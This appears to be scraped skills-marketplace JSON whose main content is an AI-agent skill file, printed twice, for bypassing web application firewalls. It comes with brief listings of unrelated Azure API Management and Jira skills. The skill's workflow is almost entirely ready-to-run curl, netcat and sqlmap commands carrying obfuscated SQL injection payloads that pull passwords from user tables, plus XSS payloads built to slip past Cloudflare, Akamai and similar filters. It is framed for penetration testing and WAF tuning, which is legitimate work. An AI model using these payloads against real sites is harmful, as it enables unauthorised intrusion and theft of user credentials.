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past WAF detection rules.","micsapp\u002Fmicstec-skills","micsapp","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F82411001?v=4","01M6GWCFQ6D3PV8EHNY62NN5VW","01M6GWCFVE1PA5HG0DKC7AMFJ3",4,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002FSKILL.md",[17,22],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000010","后端与接口","SCENARIO","使用场景",{"categoryNo":23,"categoryName":24,"taxonomyType":25,"taxonomyTypeDesc":26},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47],"web","performing","application","performing web application firewall bypass","firewall","waf","obfuscation","web-application-security","web-security","xss","application-security","http","Rules","payloads","payload","sql","pollution","past","techniques","cybersecurity","2026-11-10 10:12:30",false,"---\nname: performing-web-application-firewall-bypass\ndescription: Bypass Web Application Firewall protections using encoding techniques, HTTP method manipulation, parameter pollution, and payload obfuscation to deliver SQL injection, XSS, and other attack payloads past WAF detection rules.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags: [waf-bypass, waf-evasion, sql-injection, xss, payload-obfuscation, encoding-bypass, web-security]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Performing Web Application Firewall Bypass\n\n## When to Use\n- When confirmed vulnerabilities are blocked by WAF signature-based detection\n- During penetration testing where WAF prevents exploitation of known issues\n- When evaluating WAF rule effectiveness against evasion techniques\n- During red team engagements requiring bypass of perimeter security controls\n- When testing custom WAF rules for completeness and bypass resistance\n\n## Prerequisites\n- Burp Suite Professional with SQLMap integration\n- wafw00f for WAF fingerprinting and identification\n- SQLMap with tamper scripts for automated WAF bypass\n- Understanding of WAF detection mechanisms (signature, regex, behavioral)\n- Collection of encoding and obfuscation techniques per attack type\n- Knowledge of HTTP protocol nuances exploitable for evasion\n\n## Workflow\n\n### Step 1 — Identify and Fingerprint the WAF\n```bash\n# Detect WAF using wafw00f\nwafw00f http:\u002F\u002Ftarget.com\n\n# Manual WAF detection via response headers\ncurl -sI http:\u002F\u002Ftarget.com | grep -iE \"x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai\"\n\n# Trigger WAF with known bad payload and analyze response\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\" -v\n# Look for: 403 Forbidden, custom block page, CAPTCHA challenge\n\n# Common WAF indicators:\n# Cloudflare: cf-ray header, __cfduid cookie\n# AWS WAF: x-amzn-requestid\n# ModSecurity: Mod_Security or OWASP CRS error messages\n# Akamai: AkamaiGHost header\n# Imperva: incap_ses cookie, visid_incap cookie\n```\n\n### Step 2 — Bypass with Encoding and Obfuscation\n```bash\n# URL encoding bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%27%20OR%201%3D1--\"\n\n# Double URL encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%2527%2520OR%25201%253D1--\"\n\n# Unicode encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%u0027%u0020OR%u00201%u003D1--\"\n\n# HTML entity encoding in body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fsearch \\\n  -d \"q=\u003Cscript>alert(1)\u003C\u002Fscript>\"\n\n# Mixed case SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UnIoN SeLeCt password FrOm users--\"\n\n# Inline comments between SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*!UNION*\u002F\u002F*!SELECT*\u002Fpassword\u002F*!FROM*\u002Fusers--\"\n\n# MySQL version-specific comments\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F 1,2,3--\"\n\n# Null bytes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%00 OR 1=1--\"\n\n# Tab and newline substitution for spaces\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%09UNION%0ASELECT%0D1,2,3--\"\n```\n\n### Step 3 — Bypass with HTTP Method and Protocol Tricks\n```bash\n# Change HTTP method (WAFs may only inspect GET\u002FPOST)\ncurl -X PUT \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\ncurl -X PATCH \"http:\u002F\u002Ftarget.com\u002Fpage\" -d \"id=1' OR 1=1--\"\n\n# Use HTTP\u002F0.9 (no headers)\nprintf \"GET \u002Fpage?id=1' OR 1=1-- \\r\\n\" | nc target.com 80\n\n# Content-Type manipulation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded; charset=ibm037\" \\\n  -d \"id=1' OR 1=1--\"\n\n# Multipart form data (may bypass body inspection)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -F \"id=1' OR 1=1--\"\n\n# Chunked Transfer-Encoding\nprintf \"POST \u002Fpage HTTP\u002F1.1\\r\\nHost: target.com\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n4\\r\\nid=1\\r\\n11\\r\\n' OR 1=1--\\r\\n0\\r\\n\\r\\n\" | nc target.com 80\n\n# Parameter in unusual locations\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"X-Forwarded-For: 1' OR 1=1--\"\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"Referer: http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\n```\n\n### Step 4 — Bypass with Payload Splitting and HPP\n```bash\n# HTTP Parameter Pollution\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UNION&id=SELECT password FROM users--\"\n\n# Split payload across parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*&q=*\u002FUNION SELECT 1,2,3--\"\n\n# JSON-based SQLi (many WAFs miss JSON payloads)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fquery \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"id\": \"1 AND 1=1 UNION SELECT password FROM users\"}'\n\n# JSON SQL injection with operators\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\": {\"$gt\":\"\", \"$where\":\"1==1\"}}'\n\n# XML-wrapped payloads\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d \"\u003Cdata>\u003Cid>1' UNION SELECT password FROM users--\u003C\u002Fid>\u003C\u002Fdata>\"\n```\n\n### Step 5 — Use SQLMap Tamper Scripts\n```bash\n# SQLMap with built-in tamper scripts\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=between,randomcase,space2comment\n\n# Common tamper scripts for WAF bypass:\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=charunicodeencode\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=space2mssqlhash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=percentage\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=chardoubleencode,between\n\n# Multiple tamper scripts combined\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=randomcase,space2comment,between,charunicodeencode \\\n  --random-agent --level 5 --risk 3\n\n# Custom WAF bypass profile\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=space2comment,randomcase \\\n  --delay=2 --random-agent \\\n  --technique=B --batch\n```\n\n### Step 6 — XSS WAF Bypass Techniques\n```bash\n# Case variation\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003CScRiPt>alert(1)\u003C\u002FScRiPt>\"\n\n# Event handler alternatives\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x oNerRor=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Csvg\u002Fonload=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cbody onpageshow=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cmarquee onstart=alert(1)>\"\n\n# JavaScript URI scheme\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Ca href=javascript:alert(1)>click\u003C\u002Fa>\"\n\n# Template literal syntax\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>alert\\x601\\x60\u003C\u002Fscript>\"\n\n# Concatenation-based bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>al\\u0065rt(1)\u003C\u002Fscript>\"\n\n# HTML encoding within attributes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x onerror=alert(1)>\"\n\n# Double encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Signature Evasion | Obfuscating payloads to avoid matching WAF regex patterns |\n| Encoding Bypass | Using URL, Unicode, or HTML encoding to disguise malicious characters |\n| Protocol-Level Bypass | Exploiting HTTP protocol features (chunked encoding, method override) |\n| Tamper Scripts | SQLMap modules that transform payloads to evade specific WAF rules |\n| Content-Type Confusion | Sending payloads in unexpected content types the WAF does not inspect |\n| Parameter Pollution | Splitting payloads across duplicate parameters to evade per-parameter inspection |\n| Behavioral vs Signature | WAF detection modes: pattern matching (bypassable) vs. anomaly detection (harder) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| wafw00f | WAF fingerprinting and identification |\n| SQLMap | Automated SQL injection with WAF bypass tamper scripts |\n| waf-bypass.com | Community-maintained WAF bypass payload database |\n| Awesome-WAF | Curated GitHub repository of WAF bypass techniques |\n| Burp Suite | HTTP proxy for manual payload crafting and WAF response analysis |\n| XSStrike | XSS scanner with WAF detection and bypass capabilities |\n\n## Common Scenarios\n\n1. **SQLi Through JSON** — Bypass WAF by sending SQL injection payloads inside JSON request bodies that are not inspected by the WAF rules\n2. **XSS via Event Handlers** — Use alternative HTML event handlers (onpageshow, onanimationstart) not covered by WAF signature rules\n3. **Encoding Chain Bypass** — Apply multiple layers of encoding (URL + Unicode + HTML entity) to evade each decoding layer of the WAF\n4. **Chunked Transfer Bypass** — Split malicious payload across HTTP chunked transfer encoding segments to avoid pattern matching\n5. **Method Override** — Send attack payloads via PUT\u002FPATCH methods or custom headers that WAF does not inspect\n\n## Output Format\n\n```\n## WAF Bypass Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **WAF Identified**: Cloudflare (via cf-ray header)\n- **Bypass Achieved**: Yes\n\n### WAF Detection Results\n| Payload Type | Blocked | Bypass Found |\n|-------------|---------|-------------|\n| Basic SQLi | Yes | Yes (JSON encoding) |\n| UNION SELECT | Yes | Yes (inline comments) |\n| XSS \u003Cscript> | Yes | Yes (SVG onload) |\n| Path Traversal | No | N\u002FA (not blocked) |\n\n### Successful Bypass Payloads\n| # | Original (Blocked) | Bypass Payload | Technique |\n|---|-------------------|---------------|-----------|\n| 1 | 1' OR 1=1-- | {\"id\":\"1' OR 1=1--\"} | JSON content-type |\n| 2 | UNION SELECT | \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F | MySQL version comments |\n| 3 | \u003Cscript>alert(1)\u003C\u002Fscript> | \u003Csvg\u002Fonload=alert(1)> | Alternative tag+event |\n\n### Remediation\n- Enable JSON body inspection in WAF rules\n- Implement behavioral analysis alongside signature detection\n- Add rules for uncommon HTML tags and event handlers\n- Enable deep content inspection for all HTTP methods\n- Implement request normalization before rule evaluation\n```\n","# Performing Web Application Firewall Bypass\n\n## When to Use\n- When confirmed vulnerabilities are blocked by WAF signature-based detection\n- During penetration testing where WAF prevents exploitation of known issues\n- When evaluating WAF rule effectiveness against evasion techniques\n- During red team engagements requiring bypass of perimeter security controls\n- When testing custom WAF rules for completeness and bypass resistance\n\n## Prerequisites\n- Burp Suite Professional with SQLMap integration\n- wafw00f for WAF fingerprinting and identification\n- SQLMap with tamper scripts for automated WAF bypass\n- Understanding of WAF detection mechanisms (signature, regex, behavioral)\n- Collection of encoding and obfuscation techniques per attack type\n- Knowledge of HTTP protocol nuances exploitable for evasion\n\n## Workflow\n\n### Step 1 — Identify and Fingerprint the WAF\n```bash\n# Detect WAF using wafw00f\nwafw00f http:\u002F\u002Ftarget.com\n\n# Manual WAF detection via response headers\ncurl -sI http:\u002F\u002Ftarget.com | grep -iE \"x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai\"\n\n# Trigger WAF with known bad payload and analyze response\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\" -v\n# Look for: 403 Forbidden, custom block page, CAPTCHA challenge\n\n# Common WAF indicators:\n# Cloudflare: cf-ray header, __cfduid cookie\n# AWS WAF: x-amzn-requestid\n# ModSecurity: Mod_Security or OWASP CRS error messages\n# Akamai: AkamaiGHost header\n# Imperva: incap_ses cookie, visid_incap cookie\n```\n\n### Step 2 — Bypass with Encoding and Obfuscation\n```bash\n# URL encoding bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%27%20OR%201%3D1--\"\n\n# Double URL encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%2527%2520OR%25201%253D1--\"\n\n# Unicode encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%u0027%u0020OR%u00201%u003D1--\"\n\n# HTML entity encoding in body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fsearch \\\n  -d \"q=\u003Cscript>alert(1)\u003C\u002Fscript>\"\n\n# Mixed case SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UnIoN SeLeCt password FrOm users--\"\n\n# Inline comments between SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*!UNION*\u002F\u002F*!SELECT*\u002Fpassword\u002F*!FROM*\u002Fusers--\"\n\n# MySQL version-specific comments\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F 1,2,3--\"\n\n# Null bytes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%00 OR 1=1--\"\n\n# Tab and newline substitution for spaces\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%09UNION%0ASELECT%0D1,2,3--\"\n```\n\n### Step 3 — Bypass with HTTP Method and Protocol Tricks\n```bash\n# Change HTTP method (WAFs may only inspect GET\u002FPOST)\ncurl -X PUT \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\ncurl -X PATCH \"http:\u002F\u002Ftarget.com\u002Fpage\" -d \"id=1' OR 1=1--\"\n\n# Use HTTP\u002F0.9 (no headers)\nprintf \"GET \u002Fpage?id=1' OR 1=1-- \\r\\n\" | nc target.com 80\n\n# Content-Type manipulation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded; charset=ibm037\" \\\n  -d \"id=1' OR 1=1--\"\n\n# Multipart form data (may bypass body inspection)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -F \"id=1' OR 1=1--\"\n\n# Chunked Transfer-Encoding\nprintf \"POST \u002Fpage HTTP\u002F1.1\\r\\nHost: target.com\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n4\\r\\nid=1\\r\\n11\\r\\n' OR 1=1--\\r\\n0\\r\\n\\r\\n\" | nc target.com 80\n\n# Parameter in unusual locations\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"X-Forwarded-For: 1' OR 1=1--\"\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"Referer: http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\n```\n\n### Step 4 — Bypass with Payload Splitting and HPP\n```bash\n# HTTP Parameter Pollution\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UNION&id=SELECT password FROM users--\"\n\n# Split payload across parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*&q=*\u002FUNION SELECT 1,2,3--\"\n\n# JSON-based SQLi (many WAFs miss JSON payloads)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fquery \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"id\": \"1 AND 1=1 UNION SELECT password FROM users\"}'\n\n# JSON SQL injection with operators\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\": {\"$gt\":\"\", \"$where\":\"1==1\"}}'\n\n# XML-wrapped payloads\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d \"\u003Cdata>\u003Cid>1' UNION SELECT password FROM users--\u003C\u002Fid>\u003C\u002Fdata>\"\n```\n\n### Step 5 — Use SQLMap Tamper Scripts\n```bash\n# SQLMap with built-in tamper scripts\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=between,randomcase,space2comment\n\n# Common tamper scripts for WAF bypass:\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=charunicodeencode\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=space2mssqlhash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=percentage\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=chardoubleencode,between\n\n# Multiple tamper scripts combined\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=randomcase,space2comment,between,charunicodeencode \\\n  --random-agent --level 5 --risk 3\n\n# Custom WAF bypass profile\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=space2comment,randomcase \\\n  --delay=2 --random-agent \\\n  --technique=B --batch\n```\n\n### Step 6 — XSS WAF Bypass Techniques\n```bash\n# Case variation\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003CScRiPt>alert(1)\u003C\u002FScRiPt>\"\n\n# Event handler alternatives\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x oNerRor=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Csvg\u002Fonload=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cbody onpageshow=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cmarquee onstart=alert(1)>\"\n\n# JavaScript URI scheme\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Ca href=javascript:alert(1)>click\u003C\u002Fa>\"\n\n# Template literal syntax\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>alert\\x601\\x60\u003C\u002Fscript>\"\n\n# Concatenation-based bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>al\\u0065rt(1)\u003C\u002Fscript>\"\n\n# HTML encoding within attributes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x onerror=alert(1)>\"\n\n# Double encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Signature Evasion | Obfuscating payloads to avoid matching WAF regex patterns |\n| Encoding Bypass | Using URL, Unicode, or HTML encoding to disguise malicious characters |\n| Protocol-Level Bypass | Exploiting HTTP protocol features (chunked encoding, method override) |\n| Tamper Scripts | SQLMap modules that transform payloads to evade specific WAF rules |\n| Content-Type Confusion | Sending payloads in unexpected content types the WAF does not inspect |\n| Parameter Pollution | Splitting payloads across duplicate parameters to evade per-parameter inspection |\n| Behavioral vs Signature | WAF detection modes: pattern matching (bypassable) vs. anomaly detection (harder) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| wafw00f | WAF fingerprinting and identification |\n| SQLMap | Automated SQL injection with WAF bypass tamper scripts |\n| waf-bypass.com | Community-maintained WAF bypass payload database |\n| Awesome-WAF | Curated GitHub repository of WAF bypass techniques |\n| Burp Suite | HTTP proxy for manual payload crafting and WAF response analysis |\n| XSStrike | XSS scanner with WAF detection and bypass capabilities |\n\n## Common Scenarios\n\n1. **SQLi Through JSON** — Bypass WAF by sending SQL injection payloads inside JSON request bodies that are not inspected by the WAF rules\n2. **XSS via Event Handlers** — Use alternative HTML event handlers (onpageshow, onanimationstart) not covered by WAF signature rules\n3. **Encoding Chain Bypass** — Apply multiple layers of encoding (URL + Unicode + HTML entity) to evade each decoding layer of the WAF\n4. **Chunked Transfer Bypass** — Split malicious payload across HTTP chunked transfer encoding segments to avoid pattern matching\n5. **Method Override** — Send attack payloads via PUT\u002FPATCH methods or custom headers that WAF does not inspect\n\n## Output Format\n\n```\n## WAF Bypass Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **WAF Identified**: Cloudflare (via cf-ray header)\n- **Bypass Achieved**: Yes\n\n### WAF Detection Results\n| Payload Type | Blocked | Bypass Found |\n|-------------|---------|-------------|\n| Basic SQLi | Yes | Yes (JSON encoding) |\n| UNION SELECT | Yes | Yes (inline comments) |\n| XSS \u003Cscript> | Yes | Yes (SVG onload) |\n| Path Traversal | No | N\u002FA (not blocked) |\n\n### Successful Bypass Payloads\n| # | Original (Blocked) | Bypass Payload | Technique |\n|---|-------------------|---------------|-----------|\n| 1 | 1' OR 1=1-- | {\"id\":\"1' OR 1=1--\"} | JSON content-type |\n| 2 | UNION SELECT | \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F | MySQL version comments |\n| 3 | \u003Cscript>alert(1)\u003C\u002Fscript> | \u003Csvg\u002Fonload=alert(1)> | Alternative tag+event |\n\n### Remediation\n- Enable JSON body inspection in WAF rules\n- Implement behavioral analysis alongside signature detection\n- Add rules for uncommon HTML tags and event handlers\n- Enable deep content inspection for all HTTP methods\n- Implement request normalization before rule evaluation\n```\n",{"name":5,"tags":53,"author":59,"domain":47,"license":14,"version":60,"subdomain":35,"description":7},[54,55,56,37,57,58,36],"waf-bypass","waf-evasion","sql-injection","payload-obfuscation","encoding-bypass","mahipal","1.0","master","3f5d983eb4ef375b749adcd6b07ec03bd82ae8a8","_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-web-application-firewall-bypass",0,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills","https:\u002F\u002Fgithub.com\u002Fmicsapp","2026-03-20 11:24:18",{"source":8,"skillName":5,"commands":69,"prompt":79,"zipAvailable":80},[70,73,76],{"tool":71,"command":72},"npx","npx skills add micsapp\u002Fmicstec-skills --skill performing-web-application-firewall-bypass",{"tool":74,"command":75},"bunx","bunx skills add micsapp\u002Fmicstec-skills --skill performing-web-application-firewall-bypass",{"tool":77,"command":78},"pnpm","pnpm dlx skills add micsapp\u002Fmicstec-skills --skill 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and explains Azure API Management architecture decisions for enterprise API marketplace implementations using VNet Internal mode, Front Door, hybrid authentication, and multi-environment strategies. Use when discussing APIM component selection, network topology, cost optimization, or comparing alternatives like workspaces vs instances, VNet Internal vs External mode, or Front Door vs Application Gateway.","MIT","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fazure-apim-architecture\u002FSKILL.md",[107,108],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":109,"categoryName":110,"taxonomyType":25,"taxonomyTypeDesc":26},"01JBSEEDCAT000000000000030","开发工程师",[112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131],"architecture","azure","azure apim architecture","component","authentication","gateway","topology","Optimization","network","api","team","environment","multi-environment","workspaces","instances","selection","strategies","azure api management","mode","for",{"skillNo":133,"name":134,"nameZh":6,"description":135,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":104,"licenseFileUrl":6,"sourceHtmlUrl":136,"categories":137,"keywords":146,"publishedAt":48},"01M6HBT7J4H082JEEA670B3EQ9","apiops-deployment","Guides deployment of Azure API Management infrastructure using Infrastructure as Code (Bicep\u002FTerraform), CI\u002FCD pipelines (GitHub Actions\u002FAzure DevOps), and APIOps workflows. Use when deploying APIM, creating pipelines, or implementing dev→test→prod promotion strategies.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapiops-deployment\u002FSKILL.md",[138,139,142,145],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":140,"categoryName":141,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000011","运维与部署",{"categoryNo":143,"categoryName":144,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":109,"categoryName":110,"taxonomyType":25,"taxonomyTypeDesc":26},[147,148,149,150,113,151,152,153,154,155,156,157,121,122,128,158,159,129,160,161],"deployment","apiops deployment","workflows","azure devops","infrastructure","code","infrastructure as code","actions","ci","github actions","github-actions","as","guides","CI\u002FCD","implementing",{"skillNo":163,"name":164,"nameZh":6,"description":165,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":104,"licenseFileUrl":6,"sourceHtmlUrl":166,"categories":167,"keywords":169,"publishedAt":48},"01M6HBT2HEA23THNE9E00GYQBE","apim-policy-authoring","Creates production-ready Azure API Management policy XML for authentication (OAuth 2.0, JWT validation, subscription keys), rate limiting, CORS configuration, error handling, and API transformations. Use when implementing API security, access control, or request\u002Fresponse processing logic.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapim-policy-authoring\u002FSKILL.md",[168],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},[170,171,172,173,113,116,121,122,174,175,176,177,178,179,180,129,181,182,161,131],"policy","authoring","apim policy authoring","security","access","use","ready","api security","Access Control","error","processing","cors configuration","production-ready",{"skillNo":184,"name":185,"nameZh":6,"description":186,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":104,"licenseFileUrl":6,"sourceHtmlUrl":187,"categories":188,"keywords":191,"publishedAt":48},"01M6HBSY65SB29J9WE9KYD0K6T","api-security-review","Reviews Azure API Management configurations for security vulnerabilities, OWASP API Security Top 10 compliance, VNet Internal mode validation, Private Link verification, and Azure Security Benchmark alignment. Use when performing security audits, pre-deployment validation, or compliance reviews.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapi-security-review\u002FSKILL.md",[189,190],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":109,"categoryName":110,"taxonomyType":25,"taxonomyTypeDesc":26},[192,173,193,121,177,194,113,147,195,196,197,198,122,199,129,200,201,202,130,131],"review","security review","api security review","benchmark","verification","owasp","owasp-api","alignment","azure security","reviews","top",{"skillNo":204,"name":205,"nameZh":6,"description":206,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":104,"licenseFileUrl":6,"sourceHtmlUrl":207,"categories":208,"keywords":209,"publishedAt":48},"01M6HBSRW4PDFE6K4F8JYPZQ05","jira-cli","Interact with Jira from the command line to create, list, view, edit, and transition issues, manage sprints and epics, and perform common Jira workflows. Use when the user asks about Jira tasks, tickets, issues, sprints, or needs to manage project work items.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fjira-cli\u002FSKILL.md",[],[210,211,212,149,213,214,215,216,121,217,218,219,220,221,222,223,224,225,226,227],"cli","jira","jira cli","init","tasks","create","issues","common","work","command","edit","list","view","project","project 